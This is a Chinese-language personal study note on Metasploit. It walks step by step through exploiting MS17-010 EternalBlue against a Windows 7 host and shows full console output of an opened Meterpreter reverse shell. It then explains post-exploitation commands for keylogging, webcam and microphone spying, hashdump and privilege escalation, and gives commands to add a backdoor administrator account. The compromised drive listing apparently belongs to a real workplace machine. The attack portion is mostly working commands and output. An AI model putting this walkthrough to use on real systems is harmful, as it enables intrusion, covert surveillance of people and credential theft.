网络安全学习笔记1

1.了解kali及安装

vmware安装，用户名密码均为kali

2.metasploit是什么

3.metasploit攻击windows系统

在kali中打来终端

数据msfconsole 进入metasploit的控制终端界面

msf的使用法则：

1.使用模块

2.配置模块必选项

3.运行模块

三步操作、实现对主流漏洞的攻击。

例子：msf6 >  search ms17_010

Matching Modules                               
================                                   
                                                   
   #  Name                                      Disclosure Date  Rank     Check  Description                                               
   -  ----                                      ---------------  ----     -----  -----------                                               
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption           
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution                                                              
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
 
 
Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010                                              
 
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
 
Module options (exploit/windows/smb/ms17_010_eternalblue):
 
   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https:
                                             //docs.metasploit.com/docs/usi
                                             ng-metasploit/basics/using-met
                                             asploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain
                                             to use for authentication. Onl
                                             y affects Windows Server 2008
                                             R2, Windows 7, Windows Embedde
                                             d Standard 7 target machines.
   SMBPass                         no        (Optional) The password for th
                                             e specified username
   SMBUser                         no        (Optional) The username to aut
                                             henticate as
   VERIFY_ARCH    true             yes       Check if remote architecture m
                                             atches exploit Target. Only af
                                             fects Windows Server 2008 R2,
                                             Windows 7, Windows Embedded St
                                             andard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exp
                                             loit Target. Only affects Wind
                                             ows Server 2008 R2, Windows 7,
                                              Windows Embedded Standard 7 t
                                             arget machines.
 
 
Payload options (windows/x64/meterpreter/reverse_tcp):
 
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh,
                                        thread, process, none)
   LHOST     192.168.65.128   yes       The listen address (an interface ma
                                        y be specified)
   LPORT     4444             yes       The listen port
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   Automatic Target
 
 
 
View the full module info with the info, or info -d command.

使用show options 查看配置项，启动requird标注为yes的为必填项

defaulting to windows/x64/meterpreter/reverse_tcp如果不是这个 可以手动配置

set payload windows/x64/meterpreter/reverse_tcp

payload就是攻击载荷。

LHOST ip地址     代表你是谁，配置为kali的ip地址

LPORT 为listentport  代表你要在kali上开启的端口。1-65535随便找，不能是占用。

View the full module info with the info, or info -d command.
 
msf6 exploit(windows/smb/ms17_010_eternalblue) > set  RHOSTS 192.168.50.52
RHOSTS => 192.168.50.52
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 10001
lport => 10001
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
 
[*] Started reverse TCP handler on 192.168.50.53:10001 
[*] 192.168.50.52:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.50.52:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7600 x64 (64-bit)
[*] 192.168.50.52:445     - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.50.52:445 - The target is vulnerable.
[*] 192.168.50.52:445 - Connecting to target for exploitation.
[+] 192.168.50.52:445 - Connection established for exploitation.
[+] 192.168.50.52:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.52:445 - CORE raw buffer dump (23 bytes)
[*] 192.168.50.52:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.50.52:445 - 0x00000010  74 65 20 37 36 30 30                             te 7600         
[+] 192.168.50.52:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.52:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.50.52:445 - Sending all but last fragment of exploit packet
[*] 192.168.50.52:445 - Starting non-paged pool grooming
[+] 192.168.50.52:445 - Sending SMBv2 buffers
[+] 192.168.50.52:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.52:445 - Sending final SMBv2 buffers.
[*] 192.168.50.52:445 - Sending last fragment of exploit packet!
[*] 192.168.50.52:445 - Receiving response from exploit packet
[+] 192.168.50.52:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.52:445 - Sending egg to corrupted connection.
[*] 192.168.50.52:445 - Triggering free of corrupted buffer.
[-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 192.168.50.52:445 - Connecting to target for exploitation.
[+] 192.168.50.52:445 - Connection established for exploitation.
[+] 192.168.50.52:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.52:445 - CORE raw buffer dump (23 bytes)
[*] 192.168.50.52:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.50.52:445 - 0x00000010  74 65 20 37 36 30 30                             te 7600         
[+] 192.168.50.52:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.52:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.50.52:445 - Sending all but last fragment of exploit packet
[*] 192.168.50.52:445 - Starting non-paged pool grooming
[+] 192.168.50.52:445 - Sending SMBv2 buffers
[+] 192.168.50.52:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.52:445 - Sending final SMBv2 buffers.
[*] 192.168.50.52:445 - Sending last fragment of exploit packet!
[*] 192.168.50.52:445 - Receiving response from exploit packet
[+] 192.168.50.52:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.52:445 - Sending egg to corrupted connection.
[*] 192.168.50.52:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 192.168.50.52
[*] Meterpreter session 1 opened (192.168.50.53:10001 -> 192.168.50.52:3071) at 2024-02-29 21:48:57 -0500
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

RHOSTS => 192.168.50.52

lport => 10001

run

最后

[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

WIN表示已经入侵成功。

help查看能够使用的命令

meterpreter >  help
 
Core Commands
=============
 
    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    bg            Alias for background
    bgkill        Kills a background meterpreter script
    bglist        Lists running background scripts
    bgrun         Executes a meterpreter script as a background thread
    channel       Displays information or control active channels
    close         Closes a channel
    detach        Detach the meterpreter session (for http/https)
    disable_unic  Disables encoding of unicode strings
    ode_encoding
    enable_unico  Enables encoding of unicode strings
    de_encoding
    exit          Terminate the meterpreter session
    get_timeouts  Get the current session timeout values
    guid          Get the session GUID
    help          Help menu
    info          Displays information about a Post module
    irb           Open an interactive Ruby shell on the current session
    load          Load one or more meterpreter extensions
    machine_id    Get the MSF ID of the machine attached to the session
    migrate       Migrate the server to another process
    pivot         Manage pivot listeners
    pry           Open the Pry debugger on the current session
    quit          Terminate the meterpreter session
    read          Reads data from a channel
    resource      Run the commands stored in a file
    run           Executes a meterpreter script or Post module
    secure        (Re)Negotiate TLV packet encryption on the session
    sessions      Quickly switch to another session
    set_timeouts  Set the current session timeout values
    sleep         Force Meterpreter to go quiet, then re-establish session
    ssl_verify    Modify the SSL certificate verification setting
    transport     Manage the transport mechanisms
    use           Deprecated alias for "load"
    uuid          Get the UUID for the current session
    write         Writes data to a channel
 
 
Stdapi: File system Commands
============================
 
    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcat          Read the contents of a local file to the screen
    lcd           Change local working directory
    lls           List local files
    lmkdir        Create new directory on local machine
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory
 
 
Stdapi: Networking Commands
===========================
 
    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table
 
 
Stdapi: System Commands
=======================
 
    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current
                   process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target
                  process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS
 
 
Stdapi: User interface Commands
===============================
 
    Command       Description
    -------       -----------
    enumdesktops  List all accessible desktops and window stations
    getdesktop    Get the current meterpreter desktop
    idletime      Returns the number of seconds the remote user has been id
                  le
    keyboard_sen  Send keystrokes
    d
    keyevent      Send key events
    keyscan_dump  Dump the keystroke buffer
    keyscan_star  Start capturing keystrokes
    t
    keyscan_stop  Stop capturing keystrokes
    mouse         Send mouse events
    screenshare   Watch the remote user desktop in real time
    screenshot    Grab a screenshot of the interactive desktop
    setdesktop    Change the meterpreters current desktop
    uictl         Control some of the user interface components
 
 
Stdapi: Webcam Commands
=======================
 
    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_chat   Start a video chat
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam
    webcam_strea  Play a video stream from the specified webcam
    m
 
 
Stdapi: Audio Output Commands
=============================
 
    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system
 
 
Priv: Elevate Commands
======================
 
    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system
                  .
 
 
Priv: Password database Commands
================================
 
    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database
 
 
Priv: Timestomp Commands
========================
 
    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes
 
meterpreter > 

例如：

meterpreter > sysinfo

Computer        : SJUN-PC
OS              : Windows 7 (6.1 Build 7600).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > 

Core Commands
=============

Core Commands
=============
 
    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    bg            Alias for background
    bgkill        Kills a background meterpreter script
    bglist        Lists running background scripts
    bgrun         Executes a meterpreter script as a background thread
    channel       Displays information or control active channels
    close         Closes a channel
    detach        Detach the meterpreter session (for http/https)
    disable_unic  Disables encoding of unicode strings
    ode_encoding
    enable_unico  Enables encoding of unicode strings
    de_encoding
    exit          Terminate the meterpreter session
    get_timeouts  Get the current session timeout values
    guid          Get the session GUID
    help          Help menu
    info          Displays information about a Post module
    irb           Open an interactive Ruby shell on the current session
    load          Load one or more meterpreter extensions
    machine_id    Get the MSF ID of the machine attached to the session
    migrate       Migrate the server to another process
    pivot         Manage pivot listeners
    pry           Open the Pry debugger on the current session
    quit          Terminate the meterpreter session
    read          Reads data from a channel
    resource      Run the commands stored in a file
    run           Executes a meterpreter script or Post module
    secure        (Re)Negotiate TLV packet encryption on the session
    sessions      Quickly switch to another session
    set_timeouts  Set the current session timeout values
    sleep         Force Meterpreter to go quiet, then re-establish session
    ssl_verify    Modify the SSL certificate verification setting
    transport     Manage the transport mechanisms
    use           Deprecated alias for "load"
    uuid          Get the UUID for the current session
    write         Writes data to a channel

Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database

Priv: Elevate Commands
======================

 Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system

                  .

Stdapi: Audio Output Commands
=============================

  Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system

Stdapi: Webcam Commands
=======================

   Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_chat   Start a video chat
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam
    webcam_strea  Play a video stream from the specified webcam
    m

Stdapi: User interface Commands
===============================

    Command       Description
    -------       -----------
    enumdesktops  List all accessible desktops and window stations
    getdesktop    Get the current meterpreter desktop
    idletime      Returns the number of seconds the remote user has been id
                  le
    keyboard_sen  Send keystrokes
    d
    keyevent      Send key events
    keyscan_dump  Dump the keystroke buffer
    keyscan_star  Start capturing keystrokes
    t
    keyscan_stop  Stop capturing keystrokes
    mouse         Send mouse events
    screenshare   Watch the remote user desktop in real time
    screenshot    Grab a screenshot of the interactive desktop
    setdesktop    Change the meterpreters current desktop
    uictl         Control some of the user interface components

Stdapi: System Commands
=======================

  Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current
                   process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target
                  process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS

Stdapi: Networking Commands
===========================

 Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table

Stdapi: File system Commands
============================

 Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcat          Read the contents of a local file to the screen
    lcd           Change local working directory
    lls           List local files
    lmkdir        Create new directory on local machine
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory

用户操作：Stdapi: User interface Commands（用户接口命令）
 
enumdesktops    -->列出所有可访问的桌面和窗口站（窗体列表）
getdesktop      -->得到当前的Meterpreter桌面
 
idletime        -->返回秒远程用户已经闲置数量
 
keyscan_dump    -->转储按键缓冲（下载键盘记录）
keyscan_start   -->开始捕获击键（开始键盘记录）
keyscan_stop    -->停止捕获击键（停止键盘记录）
screenshot      -->抓取交互式桌面截图（当前操作界面截图一张）
setdesktop      -->改变meterpreters当前桌面
 
uictl           -->控制一些用户界面组件（获取键盘、鼠标控制权）
使用uictl -h 查看帮助（打开/关闭，键盘/鼠标）
 
PS：键盘记录注意点，先开始，后下载，再结束，否则会出错
 
 
摄像头：Stdapi: Webcam Commands（摄像头命令）
 
record_mic       -->X秒从默认的麦克风record_mic音频记录（音频录制）
 
webcam_chat      -->开始视频聊天（视频，对方会有弹窗）
 
webcam_list      -->单摄像头（查看摄像头列表）
webcam_snap      -->采取快照从指定的摄像头（摄像头拍摄一张照片）
 
webcam_stream    -->播放视频流从指定的摄像头（开启摄像头监控）
 
 
其他命令操作
 
getsystem        -->获取高权限
 
hashdump         -->获取当前用户hash

例子：创建后门用户并开启远程连接

shell

net user zhangsan  123456 /add

net localgroup administrators zhangsan /add

在攻陷的机器上添加用户zhangsan密码为123456 并且把张三的用户加入到管理员组。

exit退出

screenshot  来进行截图屏幕

meterpreter > webcam_snap  

->采取快照从指定的摄像头（摄像头拍摄一张照片）

[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /home/kali/Desktop/rJfZoIoR.jpeg

meterpreter > webcam_stream   

 -->播放视频流从指定的摄像头（开启摄像头监控）

[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/kali/Desktop/wViPebHU.html
[*] Streaming...
^CInterrupt
[-] webcam_stream: Interrupted
meterpreter > Interrupt: use the 'exit' command to quit

查看文件meterpreter > dir d:/
Listing: d:/

============
 
Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
040777/rwxrwxrwx  0      dir   2023-05-18 23:55:43 -0400  $QAXHoneypot
040777/rwxrwxrwx  0      dir   2022-07-26 03:39:58 -0400  $RECYCLE.BIN
040777/rwxrwxrwx  0      dir   2023-05-16 04:32:30 -0400  Program Files
040777/rwxrwxrwx  4096   dir   2023-12-21 20:19:47 -0500  Program Files (x86)
040777/rwxrwxrwx  0      dir   2023-05-18 23:12:52 -0400  QAXDownload
040777/rwxrwxrwx  0      dir   2018-03-22 23:27:06 -0400  System Volume Information
100666/rw-rw-rw-  14141  fil   2020-08-05 03:14:06 -0400  ZB-SAN-SW-24.xlsx
100666/rw-rw-rw-  18077  fil   2021-06-14 02:09:44 -0400  ZB-交换机端口映射.xlsx
040777/rwxrwxrwx  12288  dir   2023-05-18 23:54:46 -0400  tools工具
040777/rwxrwxrwx  4096   dir   2020-04-29 02:55:45 -0400  个人文件
100666/rw-rw-rw-  15818  fil   2021-12-23 01:39:22 -0500  容灾IP地址分配.xlsx
040777/rwxrwxrwx  4096   dir   2023-05-18 23:55:02 -0400  封存项目
040777/rwxrwxrwx  4096   dir   2023-05-18 23:56:14 -0400  工作区域

meterpreter > cat c:/1.txt  查看文件内容
123
meterpreter > 

meterpreter > mkdir d:\ly 创建目录
Creating directory: d:ly
 

2.文件系统命令
cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上，如upload  setup.exe C:\\windows\\system32\
download nimeia.txt /root/Desktop/   # 下载文件到本机上如：download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
edit c:\boot.ini  # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\\www -f web.config #search 文件，如search  -d c:\\  -f*.doc
meterpreter > search -f autoexec.bat  #搜索文件
meterpreter > search -f sea*.bat c:\\xamp\\
enumdesktops     #用户登录数
 
1)下载文件
使用命令“download +file path”,将下载目标机器的相对应权限的任何路径下的文件
(2)上传文件
“upload”命令为上传文件到我们的目标机器，在图中我们上传了ll.txt到目标机器的c:\pp\下。
(3)查看文件
“cat filename”在当前目录下查看文件内容，输入命令后便会返回给我们所查看文件的内容。
(4)切换、查询当前路径
“pwd”命令将查询当前在dos命令下的路径，“cd”命令可以改变当前路径，如下图中cd ..为切换到当前路径下的上一目录。